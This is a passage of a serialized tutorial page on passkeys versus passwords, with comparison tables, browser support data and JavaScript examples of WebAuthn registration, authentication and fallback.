breach",[216,287285,287286],{},"Hashed passwords can be cracked",[216,287288,287289],{},"Only public keys exposed (useless to attacker)",[199,287291,287292,287296,287299],{},[216,287293,287294],{},[47,287295,23016],{},[216,287297,287298],{},"Possible with weak passwords",[216,287300,287301],{},"Not applicable (private key never leaves device)",[199,287303,287304,287309,287312],{},[216,287305,287306],{},[47,287307,287308],{},"Man-in-the-middle",[216,287310,287311],{},"Vulnerable (if not using HTTPS)",[216,287313,287314],{},"Resistant (origin binding)",[33,287316,287318],{"id":287317},"user-experience","User Experience",[193,287320,287321,287331],{},[196,287322,287323],{},[199,287324,287325,287327,287329],{},[202,287326,13104],{},[202,287328,217837],{},[202,287330,286005],{},[211,287332,287333,287346,287359,287372],{},[199,287334,287335,287340,287343],{},[216,287336,287337],{},[47,287338,287339],{},"Creation",[216,287341,287342],{},"User must invent\u002Fremember",[216,287344,287345],{},"Automatic (one tap)",[199,287347,287348,287353,287356],{},[216,287349,287350],{},[47,287351,287352],{},"Login speed",[216,287354,287355],{},"Type + submit (10-30 seconds)",[216,287357,287358],{},"Biometric\u002FPIN (2-5 seconds)",[199,287360,287361,287366,287369],{},[216,287362,287363],{},[47,287364,287365],{},"Recovery",[216,287367,287368],{},"Email reset (can be phished)",[216,287370,287371],{},"New device sync or backup",[199,287373,287374,287379,287382],{},[216,287375,287376],{},[47,287377,287378],{},"Cross-device",[216,287380,287381],{},"Works everywhere",[216,287383,287384],{},"Works with sync or QR code",[33,287386,287388],{"id":287387},"implementation-complexity","Implementation Complexity",[193,287390,287391,287401],{},[196,287392,287393],{},[199,287394,287395,287397,287399],{},[202,287396,13104],{},[202,287398,217837],{},[202,287400,286005],{},[211,287402,287403,287415,287427,287439],{},[199,287404,287405,287409,287412],{},[216,287406,287407],{},[47,287408,219864],{},[216,287410,287411],{},"Simple (store hash)",[216,287413,287414],{},"Moderate (WebAuthn library needed)",[199,287416,287417,287421,287424],{},[216,287418,287419],{},[47,287420,219889],{},[216,287422,287423],{},"Simple (form POST)",[216,287425,287426],{},"Moderate (WebAuthn API)",[199,287428,287429,287433,287436],{},[216,287430,287431],{},[47,287432,287365],{},[216,287434,287435],{},"Email-based",[216,287437,287438],{},"Device sync or fallback methods",[199,287440,287441,287446,287448],{},[216,287442,287443],{},[47,287444,287445],{},"Legacy support",[216,287447,5921],{},[216,287449,287450],{},"Requires modern browser",[11,287452,287454],{"id":287453},"browser-and-platform-support","Browser and Platform Support",[33,287456,287458],{"id":287457},"current-support-2026","Current Support (2026)",[193,287460,287461,287473],{},[196,287462,287463],{},[199,287464,287465,287467,287469,287471],{},[202,287466,23888],{},[202,287468,5524],{},[202,287470,84689],{},[202,287472,2683],{},[211,287474,287475,287488,287499,287510,287521,287535,287547],{},[199,287476,287477,287481,287484,287486],{},[216,287478,287479],{},[47,287480,97311],{},[216,287482,287483],{},"Chrome 108+",[216,287485,95806],{},[216,287487,102487],{},[199,287489,287490,287492,287495,287497],{},[216,287491],{},[216,287493,287494],{},"Firefox 119+",[216,287496,95806],{},[216,287498,102487],{},[199,287500,287501,287503,287506,287508],{},[216,287502],{},[216,287504,287505],{},"Safari 16+",[216,287507,95806],{},[216,287509,102487],{},[199,287511,287512,287514,287517,287519],{},[216,287513],{},[216,287515,287516],{},"Edge 108+",[216,287518,95806],{},[216,287520,102487],{},[199,287522,287523,287527,287530,287532],{},[216,287524,287525],{},[47,287526,96140],{},[216,287528,287529],{},"iOS 16+ Safari",[216,287531,95806],{},[216,287533,287534],{},"Face ID \u002F Touch ID",[199,287536,287537,287539,287542,287544],{},[216,287538],{},[216,287540,287541],{},"Android Chrome 108+",[216,287543,95806],{},[216,287545,287546],{},"Fingerprint \u002F Screen lock",[199,287548,287549,287551,287554,287556],{},[216,287550],{},[216,287552,287553],{},"Samsung Internet 23+",[216,287555,95806],{},[216,287557,287558],{},"Fingerprint",[33,287560,287562],{"id":287561},"checking-for-support","Checking for Support",[135,287564,287566],{"className":1607,"code":287565,"language":1609,"meta":141,"style":141},"function isPasskeySupported() {\n  return window.PublicKeyCredential !== undefined &&\n         typeof window.PublicKeyCredential === 'function' &&\n         \u002F\u002F Check if platform authenticator is available\n         PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable();\n}\n\nisPasskeySupported().then(supported => {\n  if (supported) {\n    console.log(\"Passkeys are supported!\");\n  } else {\n    console.log(\"Passkeys not available, show password login\");\n  }\n});\n",[143,287567,287568,287577,287592,287606,287611,287621,287625,287629,287647,287654,287667,287675,287688,287692],{"__ignoreMap":141},[1560,287569,287570,287572,287575],{"class":1562,"line":1563},[1560,287571,8648],{"class":1669},[1560,287573,287574],{"class":1566}," isPasskeySupported",[1560,287576,8654],{"class":1570},[1560,287578,287579,287581,287584,287586,287589],{"class":1562,"line":337},[1560,287580,9350],{"class":1669},[1560,287582,287583],{"class":1570}," window.PublicKeyCredential ",[1560,287585,13538],{"class":1669},[1560,287587,287588],{"class":1576}," undefined",[1560,287590,287591],{"class":1669}," &&\n",[1560,287593,287594,287597,287599,287601,287604],{"class":1562,"line":343},[1560,287595,287596],{"class":1669},"         typeof",[1560,287598,287583],{"class":1570},[1560,287600,23122],{"class":1669},[1560,287602,287603],{"class":5634}," 'function'",[1560,287605,287591],{"class":1669},[1560,287607,287608],{"class":1562,"line":365},[1560,287609,287610],{"class":1649},"         \u002F\u002F Check if platform authenticator is available\n",[1560,287612,287613,287616,287619],{"class":1562,"line":889},[1560,287614,287615],{"class":1570},"         PublicKeyCredential.",[1560,287617,287618],{"class":1566},"isUserVerifyingPlatformAuthenticatorAvailable",[1560,287620,90158],{"class":1570},[1560,287622,287623],{"class":1562,"line":1710},[1560,287624,1585],{"class":1570},[1560,287626,287627],{"class":1562,"line":1717},[1560,287628,1702],{"emptyLinePlaceholder":363},[1560,287630,287631,287634,287636,287638,287640,287643,287645],{"class":1562,"line":1747},[1560,287632,287633],{"class":1566},"isPasskeySupported",[1560,287635,42138],{"class":1570},[1560,287637,223895],{"class":1566},[1560,287639,1688],{"class":1570},[1560,287641,287642],{"class":2219},"supported",[1560,287644,9378],{"class":1669},[1560,287646,1571],{"class":1570},[1560,287648,287649,287651],{"class":1562,"line":2507},[1560,287650,27984],{"class":1669},[1560,287652,287653],{"class":1570}," (supported) {\n",[1560,287655,287656,287658,287660,287662,287665],{"class":1562,"line":2524},[1560,287657,102264],{"class":1570},[1560,287659,8214],{"class":1566},[1560,287661,1688],{"class":1570},[1560,287663,287664],{"class":5634},"\"Passkeys are supported!\"",[1560,287666,1744],{"class":1570},[1560,287668,287669,287671,287673],{"class":1562,"line":2529},[1560,287670,102284],{"class":1570},[1560,287672,82068],{"class":1669},[1560,287674,1571],{"class":1570},[1560,287676,287677,287679,287681,287683,287686],{"class":1562,"line":2534},[1560,287678,102264],{"class":1570},[1560,287680,8214],{"class":1566},[1560,287682,1688],{"class":1570},[1560,287684,287685],{"class":5634},"\"Passkeys not available, show password login\"",[1560,287687,1744],{"class":1570},[1560,287689,287690],{"class":1562,"line":2542},[1560,287691,4959],{"class":1570},[1560,287693,287694],{"class":1562,"line":2558},[1560,287695,11809],{"class":1570},[11,287697,287699],{"id":287698},"server-side-implementation","Server-Side Implementation",[33,287701,287703],{"id":287702},"nodejs-example","Node.js Example",[135,287705,287707],{"className":1607,"code":287706,"language":1609,"meta":141,"style":141},"const express = require('express');\nconst crypto = require('crypto');\nconst app = express();\n\n\u002F\u002F In production, use a WebAuthn library like @simplewebauthn\u002Fserver\n\u002F\u002F This is a simplified example\n\nconst userChallenges = new Map(); \u002F\u002F Store challenges temporarily\nconst userCredentials = new Map(); \u002F\u002F Store registered credentials\n\n\u002F\u002F Step 1: Generate registration options\napp.post('\u002Fapi\u002Fpasskey\u002Fregister-options', (req, res) => {\n  const { userId, username } = req.body;\n  const challenge = crypto.randomBytes(32).toString('base64url');\n\n  \u002F\u002F Store challenge for this user\n  userChallenges.set(userId, challenge);\n\n  res.json({\n    challenge,\n    rp: { name: \"Example App\", id: \"localhost\" },\n    user: { id: userId, name: username, displayName: username },\n    pubKeyCredParams: [\n      { alg: -7, type: \"public-key\" },   \u002F\u002F ES256\n      { alg: -257, type: \"public-key\" }   \u002F\u002F RS256\n    ]\n  });\n});\n\n\u002F\u002F Step 2: Verify registration\napp.post('\u002Fapi\u002Fpasskey\u002Fregister', (req, res) => {\n  const { credentialId, publicKey, userId } = req.body;\n\n  \u002F\u002F In production: verify the attestation using a library\n  \u002F\u002F Store the public key for this user\n  userCredentials.set(userId, { credentialId, publicKey });\n\n  res.json({ success: true });\n});\n\n\u002F\u002F Step 3: Generate authentication options\napp.post('\u002Fapi\u002Fpasskey\u002Fauth-options', (req, res) => {\n  const challenge = crypto.randomBytes(32).toString('base64url');\n\n  \u002F\u002F In production: associate challenge with session\n  res.json({\n    challenge,\n    allowCredentials: [] \u002F\u002F or list specific credential IDs\n  });\n});\n\n\u002F\u002F Step 4: Verify authentication\napp.post('\u002Fapi\u002Fpasskey\u002Fauthenticate', (req, res) => {\n  const { credentialId, signature, authenticatorData, clientDataJSON } = req.body;\n\n  \u002F\u002F In production: verify the signature using the stored public key\n  \u002F\u002F If valid, issue a session token\n\n  res.json({ success: true, token: \"session-token-here\" });\n});\n",[143,287708,287709,287727,287743,287756,287760,287765,287770,287774,287793,287811,287815,287820,287845,287864,287891,287895,287900,287910,287914,287922,287927,287941,287946,287951,287968,287985,287989,287993,287997,288001,288006,288030,288053,288057,288062,288067,288077,288081,288094,288098,288102,288107,288131,288157,288161,288166,288174,288178,288186,288190,288194,288198,288203,288227,288256,288261,288267,288273,288278,288297],{"__ignoreMap":141},[1560,287710,287711,287713,287716,287718,287720,287722,287725],{"class":1562,"line":1563},[1560,287712,8180],{"class":1669},[1560,287714,287715],{"class":1576}," express",[1560,287717,8186],{"class":1669},[1560,287719,20658],{"class":1566},[1560,287721,1688],{"class":1570},[1560,287723,287724],{"class":5634},"'express'",[1560,287726,1744],{"class":1570},[1560,287728,287729,287731,287733,287735,287737,287739,287741],{"class":1562,"line":337},[1560,287730,8180],{"class":1669},[1560,287732,41881],{"class":1576},[1560,287734,8186],{"class":1669},[1560,287736,20658],{"class":1566},[1560,287738,1688],{"class":1570},[1560,287740,41890],{"class":5634},[1560,287742,1744],{"class":1570},[1560,287744,287745,287747,287750,287752,287754],{"class":1562,"line":343},[1560,287746,8180],{"class":1669},[1560,287748,287749],{"class":1576}," app",[1560,287751,8186],{"class":1669},[1560,287753,287715],{"class":1566},[1560,287755,90158],{"class":1570},[1560,287757,287758],{"class":1562,"line":365},[1560,287759,1702],{"emptyLinePlaceholder":363},[1560,287761,287762],{"class":1562,"line":889},[1560,287763,287764],{"class":1649},"\u002F\u002F In production, use a WebAuthn library like @simplewebauthn\u002Fserver\n",[1560,287766,287767],{"class":1562,"line":1710},[1560,287768,287769],{"class":1649},"\u002F\u002F This is a simplified example\n",[1560,287771,287772],{"class":1562,"line":1717},[1560,287773,1702],{"emptyLinePlaceholder":363},[1560,287775,287776,287778,287781,287783,287785,287788,287790],{"class":1562,"line":1747},[1560,287777,8180],{"class":1669},[1560,287779,287780],{"class":1576}," userChallenges",[1560,287782,8186],{"class":1669},[1560,287784,11489],{"class":1669},[1560,287786,287787],{"class":1566}," Map",[1560,287789,34220],{"class":1570},[1560,287791,287792],{"class":1649},"\u002F\u002F Store challenges temporarily\n",[1560,287794,287795,287797,287800,287802,287804,287806,287808],{"class":1562,"line":2507},[1560,287796,8180],{"class":1669},[1560,287798,287799],{"class":1576}," userCredentials",[1560,287801,8186],{"class":1669},[1560,287803,11489],{"class":1669},[1560,287805,287787],{"class":1566},[1560,287807,34220],{"class":1570},[1560,287809,287810],{"class":1649},"\u002F\u002F Store registered credentials\n",[1560,287812,287813],{"class":1562,"line":2524},[1560,287814,1702],{"emptyLinePlaceholder":363},[1560,287816,287817],{"class":1562,"line":2529},[1560,287818,287819],{"class":1649},"\u002F\u002F Step 1: Generate registration options\n",[1560,287821,287822,287824,287827,287829,287831,287833,287835,287837,287839,287841,287843],{"class":1562,"line":2534},[1560,287823,208274],{"class":1570},[1560,287825,287826],{"class":1566},"post",[1560,287828,1688],{"class":1570},[1560,287830,286180],{"class":5634},[1560,287832,38863],{"class":1570},[1560,287834,208290],{"class":2219},[1560,287836,1459],{"class":1570},[1560,287838,208295],{"class":2219},[1560,287840,1733],{"class":1570},[1560,287842,11503],{"class":1669},[1560,287844,1571],{"class":1570},[1560,287846,287847,287849,287851,287853,287855,287857,287859,287861],{"class":1562,"line":2542},[1560,287848,28057],{"class":1669},[1560,287850,1658],{"class":1570},[1560,287852,286122],{"class":1576},[1560,287854,1459],{"class":1570},[1560,287856,34990],{"class":1576},[1560,287858,49704],{"class":1570},[1560,287860,7297],{"class":1669},[1560,287862,287863],{"class":1570}," req.body;\n",[1560,287865,287866,287868,287870,287872,287874,287876,287878,287880,287882,287884,287886,287889],{"class":1562,"line":2558},[1560,287867,28057],{"class":1669},[1560,287869,286135],{"class":1576},[1560,287871,8186],{"class":1669},[1560,287873,41913],{"class":1570},[1560,287875,41916],{"class":1566},[1560,287877,1688],{"class":1570},[1560,287879,36042],{"class":1576},[1560,287881,9368],{"class":1570},[1560,287883,10052],{"class":1566},[1560,287885,1688],{"class":1570},[1560,287887,287888],{"class":5634},"'base64url'",[1560,287890,1744],{"class":1570},[1560,287892,287893],{"class":1562,"line":2570},[1560,287894,1702],{"emptyLinePlaceholder":363},[1560,287896,287897],{"class":1562,"line":6638},[1560,287898,287899],{"class":1649},"  \u002F\u002F Store challenge for this user\n",[1560,287901,287902,287905,287907],{"class":1562,"line":11615},[1560,287903,287904],{"class":1570},"  userChallenges.",[1560,287906,101321],{"class":1566},[1560,287908,287909],{"class":1570},"(userId, challenge);\n",[1560,287911,287912],{"class":1562,"line":11621},[1560,287913,1702],{"emptyLinePlaceholder":363},[1560,287915,287916,287918,287920],{"class":1562,"line":11633},[1560,287917,208334],{"class":1570},[1560,287919,23486],{"class":1566},[1560,287921,17525],{"class":1570},[1560,287923,287924],{"class":1562,"line":11638},[1560,287925,287926],{"class":1570},"    challenge,\n",[1560,287928,287929,287932,287934,287937,287939],{"class":1562,"line":11672},[1560,287930,287931],{"class":1570},"    rp: { name: ",[1560,287933,286294],{"class":5634},[1560,287935,287936],{"class":1570},", id: ",[1560,287938,37153],{"class":5634},[1560,287940,21223],{"class":1570},[1560,287942,287943],{"class":1562,"line":19435},[1560,287944,287945],{"class":1570},"    user: { id: userId, name: username, displayName: username },\n",[1560,287947,287948],{"class":1562,"line":19442},[1560,287949,287950],{"class":1570},"    pubKeyCredParams: [\n",[1560,287952,287953,287956,287958,287960,287962,287964,287966],{"class":1562,"line":19475},[1560,287954,287955],{"class":1570},"      { alg: ",[1560,287957,9412],{"class":1669},[1560,287959,735],{"class":1576},[1560,287961,286353],{"class":1570},[1560,287963,286356],{"class":5634},[1560,287965,286359],{"class":1570},[1560,287967,286362],{"class":1649},[1560,287969,287970,287972,287974,287976,287978,287980,287983],{"class":1562,"line":19508},[1560,287971,287955],{"class":1570},[1560,287973,9412],{"class":1669},[1560,287975,286371],{"class":1576},[1560,287977,286353],{"class":1570},[1560,287979,286356],{"class":5634},[1560,287981,287982],{"class":1570}," }   ",[1560,287984,286380],{"class":1649},[1560,287986,287987],{"class":1562,"line":44196},[1560,287988,50049],{"class":1570},[1560,287990,287991],{"class":1562,"line":44203},[1560,287992,11618],{"class":1570},[1560,287994,287995],{"class":1562,"line":44220},[1560,287996,11809],{"class":1570},[1560,287998,287999],{"class":1562,"line":71501},[1560,288000,1702],{"emptyLinePlaceholder":363},[1560,288002,288003],{"class":1562,"line":71518},[1560,288004,288005],{"class":1649},"\u002F\u002F Step 2: Verify registration\n",[1560,288007,288008,288010,288012,288014,288016,288018,288020,288022,288024,288026,288028],{"class":1562,"line":71529},[1560,288009,208274],{"class":1570},[1560,288011,287826],{"class":1566},[1560,288013,1688],{"class":1570},[1560,288015,286450],{"class":5634},[1560,288017,38863],{"class":1570},[1560,288019,208290],{"class":2219},[1560,288021,1459],{"class":1570},[1560,288023,208295],{"class":2219},[1560,288025,1733],{"class":1570},[1560,288027,11503],{"class":1669},[1560,288029,1571],{"class":1570},[1560,288031,288032,288034,288036,288039,288041,288043,288045,288047,288049,288051],{"class":1562,"line":176459},[1560,288033,28057],{"class":1669},[1560,288035,1658],{"class":1570},[1560,288037,288038],{"class":1576},"credentialId",[1560,288040,1459],{"class":1570},[1560,288042,261310],{"class":1576},[1560,288044,1459],{"class":1570},[1560,288046,286122],{"class":1576},[1560,288048,49704],{"class":1570},[1560,288050,7297],{"class":1669},[1560,288052,287863],{"class":1570},[1560,288054,288055],{"class":1562,"line":176464},[1560,288056,1702],{"emptyLinePlaceholder":363},[1560,288058,288059],{"class":1562,"line":176469},[1560,288060,288061],{"class":1649},"  \u002F\u002F In production: verify the attestation using a library\n",[1560,288063,288064],{"class":1562,"line":176489},[1560,288065,288066],{"class":1649},"  \u002F\u002F Store the public key for this user\n",[1560,288068,288069,288072,288074],{"class":1562,"line":234723},[1560,288070,288071],{"class":1570},"  userCredentials.",[1560,288073,101321],{"class":1566},[1560,288075,288076],{"class":1570},"(userId, { credentialId, publicKey });\n",[1560,288078,288079],{"class":1562,"line":234734},[1560,288080,1702],{"emptyLinePlaceholder":363},[1560,288082,288083,288085,288087,288090,288092],{"class":1562,"line":234744},[1560,288084,208334],{"class":1570},[1560,288086,23486],{"class":1566},[1560,288088,288089],{"class":1570},"({ success: ",[1560,288091,20533],{"class":1576},[1560,288093,11630],{"class":1570},[1560,288095,288096],{"class":1562,"line":234754},[1560,288097,11809],{"class":1570},[1560,288099,288100],{"class":1562,"line":234765},[1560,288101,1702],{"emptyLinePlaceholder":363},[1560,288103,288104],{"class":1562,"line":234773},[1560,288105,288106],{"class":1649},"\u002F\u002F Step 3: Generate authentication options\n",[1560,288108,288109,288111,288113,288115,288117,288119,288121,288123,288125,288127,288129],{"class":1562,"line":234780},[1560,288110,208274],{"class":1570},[1560,288112,287826],{"class":1566},[1560,288114,1688],{"class":1570},[1560,288116,286569],{"class":5634},[1560,288118,38863],{"class":1570},[1560,288120,208290],{"class":2219},[1560,288122,1459],{"class":1570},[1560,288124,208295],{"class":2219},[1560,288126,1733],{"class":1570},[1560,288128,11503],{"class":1669},[1560,288130,1571],{"class":1570},[1560,288132,288133,288135,288137,288139,288141,288143,288145,288147,288149,288151,288153,288155],{"class":1562,"line":234790},[1560,288134,28057],{"class":1669},[1560,288136,286135],{"class":1576},[1560,288138,8186],{"class":1669},[1560,288140,41913],{"class":1570},[1560,288142,41916],{"class":1566},[1560,288144,1688],{"class":1570},[1560,288146,36042],{"class":1576},[1560,288148,9368],{"class":1570},[1560,288150,10052],{"class":1566},[1560,288152,1688],{"class":1570},[1560,288154,287888],{"class":5634},[1560,288156,1744],{"class":1570},[1560,288158,288159],{"class":1562,"line":234799},[1560,288160,1702],{"emptyLinePlaceholder":363},[1560,288162,288163],{"class":1562,"line":234808},[1560,288164,288165],{"class":1649},"  \u002F\u002F In production: associate challenge with session\n",[1560,288167,288168,288170,288172],{"class":1562,"line":234817},[1560,288169,208334],{"class":1570},[1560,288171,23486],{"class":1566},[1560,288173,17525],{"class":1570},[1560,288175,288176],{"class":1562,"line":234825},[1560,288177,287926],{"class":1570},[1560,288179,288180,288183],{"class":1562,"line":234837},[1560,288181,288182],{"class":1570},"    allowCredentials: [] ",[1560,288184,288185],{"class":1649},"\u002F\u002F or list specific credential IDs\n",[1560,288187,288188],{"class":1562,"line":234848},[1560,288189,11618],{"class":1570},[1560,288191,288192],{"class":1562,"line":234860},[1560,288193,11809],{"class":1570},[1560,288195,288196],{"class":1562,"line":234868},[1560,288197,1702],{"emptyLinePlaceholder":363},[1560,288199,288200],{"class":1562,"line":234876},[1560,288201,288202],{"class":1649},"\u002F\u002F Step 4: Verify authentication\n",[1560,288204,288205,288207,288209,288211,288213,288215,288217,288219,288221,288223,288225],{"class":1562,"line":234887},[1560,288206,208274],{"class":1570},[1560,288208,287826],{"class":1566},[1560,288210,1688],{"class":1570},[1560,288212,286715],{"class":5634},[1560,288214,38863],{"class":1570},[1560,288216,208290],{"class":2219},[1560,288218,1459],{"class":1570},[1560,288220,208295],{"class":2219},[1560,288222,1733],{"class":1570},[1560,288224,11503],{"class":1669},[1560,288226,1571],{"class":1570},[1560,288228,288230,288232,288234,288236,288238,288240,288242,288245,288247,288250,288252,288254],{"class":1562,"line":288229},54,[1560,288231,28057],{"class":1669},[1560,288233,1658],{"class":1570},[1560,288235,288038],{"class":1576},[1560,288237,1459],{"class":1570},[1560,288239,242645],{"class":1576},[1560,288241,1459],{"class":1570},[1560,288243,288244],{"class":1576},"authenticatorData",[1560,288246,1459],{"class":1570},[1560,288248,288249],{"class":1576},"clientDataJSON",[1560,288251,49704],{"class":1570},[1560,288253,7297],{"class":1669},[1560,288255,287863],{"class":1570},[1560,288257,288259],{"class":1562,"line":288258},55,[1560,288260,1702],{"emptyLinePlaceholder":363},[1560,288262,288264],{"class":1562,"line":288263},56,[1560,288265,288266],{"class":1649},"  \u002F\u002F In production: verify the signature using the stored public key\n",[1560,288268,288270],{"class":1562,"line":288269},57,[1560,288271,288272],{"class":1649},"  \u002F\u002F If valid, issue a session token\n",[1560,288274,288276],{"class":1562,"line":288275},58,[1560,288277,1702],{"emptyLinePlaceholder":363},[1560,288279,288281,288283,288285,288287,288289,288292,288295],{"class":1562,"line":288280},59,[1560,288282,208334],{"class":1570},[1560,288284,23486],{"class":1566},[1560,288286,288089],{"class":1570},[1560,288288,20533],{"class":1576},[1560,288290,288291],{"class":1570},", token: ",[1560,288293,288294],{"class":5634},"\"session-token-here\"",[1560,288296,11630],{"class":1570},[1560,288298,288300],{"class":1562,"line":288299},60,[1560,288301,11809],{"class":1570},[33,288303,288305],{"id":288304},"using-a-library-recommended","Using a Library (Recommended)",[16,288307,288308,288309,8037],{},"For production, use a well-tested library like ",[143,288310,288311],{},"@simplewebauthn\u002Fserver",[135,288313,288315],{"className":1607,"code":288314,"language":1609,"meta":141,"style":141},"import { generateRegistrationOptions, verifyRegistrationResponse } from '@simplewebauthn\u002Fserver';\n\nconst rpName = 'Example App';\nconst rpID = 'example.com';\nconst origin = `https:\u002F\u002F${rpID}`;\n\n\u002F\u002F Registration\nconst options = await generateRegistrationOptions({\n  rpName,\n  rpID,\n  userID: userId,\n  userName: username,\n  attestationType: 'none',\n  excludeCredentials: existingCredentials,\n});\n\nconst verification = await verifyRegistrationResponse({\n  response: credential,\n  expectedChallenge: options.challenge,\n  expectedOrigin: origin,\n  expectedRPID: rpID,\n});\n",[143,288316,288317,288331,288335,288349,288362,288381,288385,288390,288405,288410,288415,288420,288425,288435,288440,288444,288448,288464,288469,288474,288479,288484],{"__ignoreMap":141},[1560,288318,288319,288321,288324,288326,288329],{"class":1562,"line":1563},[1560,288320,8162],{"class":1669},[1560,288322,288323],{"class":1570}," { generateRegistrationOptions, verifyRegistrationResponse } ",[1560,288325,8168],{"class":1669},[1560,288327,288328],{"class":5634}," '@simplewebauthn\u002Fserver'",[1560,288330,2228],{"class":1570},[1560,288332,288333],{"class":1562,"line":337},[1560,288334,1702],{"emptyLinePlaceholder":363},[1560,288336,288337,288339,288342,288344,288347],{"class":1562,"line":343},[1560,288338,8180],{"class":1669},[1560,288340,288341],{"class":1576}," rpName",[1560,288343,8186],{"class":1669},[1560,288345,288346],{"class":5634}," 'Example App'",[1560,288348,2228],{"class":1570},[1560,288350,288351,288353,288356,288358,288360],{"class":1562,"line":365},[1560,288352,8180],{"class":1669},[1560,288354,288355],{"class":1576}," rpID",[1560,288357,8186],{"class":1669},[1560,288359,116311],{"class":5634},[1560,288361,2228],{"class":1570},[1560,288363,288364,288366,288369,288371,288374,288377,288379],{"class":1562,"line":889},[1560,288365,8180],{"class":1669},[1560,288367,288368],{"class":1576}," origin",[1560,288370,8186],{"class":1669},[1560,288372,288373],{"class":5634}," `https:\u002F\u002F${",[1560,288375,288376],{"class":1570},"rpID",[1560,288378,9582],{"class":5634},[1560,288380,2228],{"class":1570},[1560,288382,288383],{"class":1562,"line":1710},[1560,288384,1702],{"emptyLinePlaceholder":363},[1560,288386,288387],{"class":1562,"line":1717},[1560,288388,288389],{"class":1649},"\u002F\u002F Registration\n",[1560,288391,288392,288394,288396,288398,288400,288403],{"class":1562,"line":1747},[1560,288393,8180],{"class":1669},[1560,288395,286169],{"class":1576},[1560,288397,8186],{"class":1669},[1560,288399,28065],{"class":1669},[1560,288401,288402],{"class":1566}," generateRegistrationOptions",[1560,288404,17525],{"class":1570},[1560,288406,288407],{"class":1562,"line":2507},[1560,288408,288409],{"class":1570},"  rpName,\n",[1560,288411,288412],{"class":1562,"line":2524},[1560,288413,288414],{"class":1570},"  rpID,\n",[1560,288416,288417],{"class":1562,"line":2529},[1560,288418,288419],{"class":1570},"  userID: userId,\n",[1560,288421,288422],{"class":1562,"line":2534},[1560,288423,288424],{"class":1570},"  userName: username,\n",[1560,288426,288427,288430,288433],{"class":1562,"line":2542},[1560,288428,288429],{"class":1570},"  attestationType: ",[1560,288431,288432],{"class":5634},"'none'",[1560,288434,11943],{"class":1570},[1560,288436,288437],{"class":1562,"line":2558},[1560,288438,288439],{"class":1570},"  excludeCredentials: existingCredentials,\n",[1560,288441,288442],{"class":1562,"line":2570},[1560,288443,11809],{"class":1570},[1560,288445,288446],{"class":1562,"line":6638},[1560,288447,1702],{"emptyLinePlaceholder":363},[1560,288449,288450,288452,288455,288457,288459,288462],{"class":1562,"line":11615},[1560,288451,8180],{"class":1669},[1560,288453,288454],{"class":1576}," verification",[1560,288456,8186],{"class":1669},[1560,288458,28065],{"class":1669},[1560,288460,288461],{"class":1566}," verifyRegistrationResponse",[1560,288463,17525],{"class":1570},[1560,288465,288466],{"class":1562,"line":11621},[1560,288467,288468],{"class":1570},"  response: credential,\n",[1560,288470,288471],{"class":1562,"line":11633},[1560,288472,288473],{"class":1570},"  expectedChallenge: options.challenge,\n",[1560,288475,288476],{"class":1562,"line":11638},[1560,288477,288478],{"class":1570},"  expectedOrigin: origin,\n",[1560,288480,288481],{"class":1562,"line":11672},[1560,288482,288483],{"class":1570},"  expectedRPID: rpID,\n",[1560,288485,288486],{"class":1562,"line":19435},[1560,288487,11809],{"class":1570},[11,288489,288491],{"id":288490},"cross-device-authentication","Cross-Device Authentication",[16,288493,288494],{},"One of the challenges with passkeys is using them on a new device. The FIDO standard supports this via:",[33,288496,288498],{"id":288497},"_1-cloud-sync-most-common","1. Cloud Sync (Most Common)",[16,288500,288501],{},"Passkeys synced via:",[41,288503,288504,288510,288516],{},[44,288505,288506,288509],{},[47,288507,288508],{},"iCloud Keychain"," (Apple devices)",[44,288511,288512,288515],{},[47,288513,288514],{},"Google Password Manager"," (Android\u002FChrome)",[44,288517,288518,288521],{},[47,288519,288520],{},"Microsoft Account"," (Windows\u002FEdge)",[16,288523,288524],{},"When the user signs into their account on a new device, their passkeys sync automatically.",[33,288526,288528],{"id":288527},"_2-qr-code-flow-hybrid","2. QR Code Flow (Hybrid)",[16,288530,288531],{},"For using a passkey from a phone on a desktop:",[135,288533,288535],{"className":1607,"code":288534,"language":1609,"meta":141,"style":141},"\u002F\u002F Desktop browser shows QR code\n\u002F\u002F User scans with phone (which has the passkey)\n\u002F\u002F Phone signs the challenge and sends it back\nconst assertion = await navigator.credentials.get({\n  publicKey: {\n    challenge: ...,\n    extensions: {\n      appid: true \u002F\u002F For backwards compatibility\n    }\n  }\n});\n",[143,288536,288537,288542,288547,288552,288568,288573,288582,288587,288597,288601,288605],{"__ignoreMap":141},[1560,288538,288539],{"class":1562,"line":1563},[1560,288540,288541],{"class":1649},"\u002F\u002F Desktop browser shows QR code\n",[1560,288543,288544],{"class":1562,"line":337},[1560,288545,288546],{"class":1649},"\u002F\u002F User scans with phone (which has the passkey)\n",[1560,288548,288549],{"class":1562,"line":343},[1560,288550,288551],{"class":1649},"\u002F\u002F Phone signs the challenge and sends it back\n",[1560,288553,288554,288556,288558,288560,288562,288564,288566],{"class":1562,"line":365},[1560,288555,8180],{"class":1669},[1560,288557,286601],{"class":1576},[1560,288559,8186],{"class":1669},[1560,288561,28065],{"class":1669},[1560,288563,286261],{"class":1570},[1560,288565,82334],{"class":1566},[1560,288567,17525],{"class":1570},[1560,288569,288570],{"class":1562,"line":889},[1560,288571,288572],{"class":1570},"  publicKey: {\n",[1560,288574,288575,288578,288580],{"class":1562,"line":1710},[1560,288576,288577],{"class":1570},"    challenge: ",[1560,288579,24388],{"class":1669},[1560,288581,11943],{"class":1570},[1560,288583,288584],{"class":1562,"line":1717},[1560,288585,288586],{"class":1570},"    extensions: {\n",[1560,288588,288589,288592,288594],{"class":1562,"line":1747},[1560,288590,288591],{"class":1570},"      appid: ",[1560,288593,20533],{"class":1576},[1560,288595,288596],{"class":1649}," \u002F\u002F For backwards compatibility\n",[1560,288598,288599],{"class":1562,"line":2507},[1560,288600,11612],{"class":1570},[1560,288602,288603],{"class":1562,"line":2524},[1560,288604,4959],{"class":1570},[1560,288606,288607],{"class":1562,"line":2529},[1560,288608,11809],{"class":1570},[11,288610,288612],{"id":288611},"fallback-strategies","Fallback Strategies",[16,288614,288615],{},"Not all users will have passkey-capable devices. Implement a graceful fallback:",[135,288617,288619],{"className":1607,"code":288618,"language":1609,"meta":141,"style":141},"async function authenticate() {\n  \u002F\u002F Try passkey first\n  if (await isPasskeySupported()) {\n    try {\n      return await startAuthentication();\n    } catch (error) {\n      console.log(\"Passkey failed, falling back to password\");\n    }\n  }\n\n  \u002F\u002F Fallback to password\n  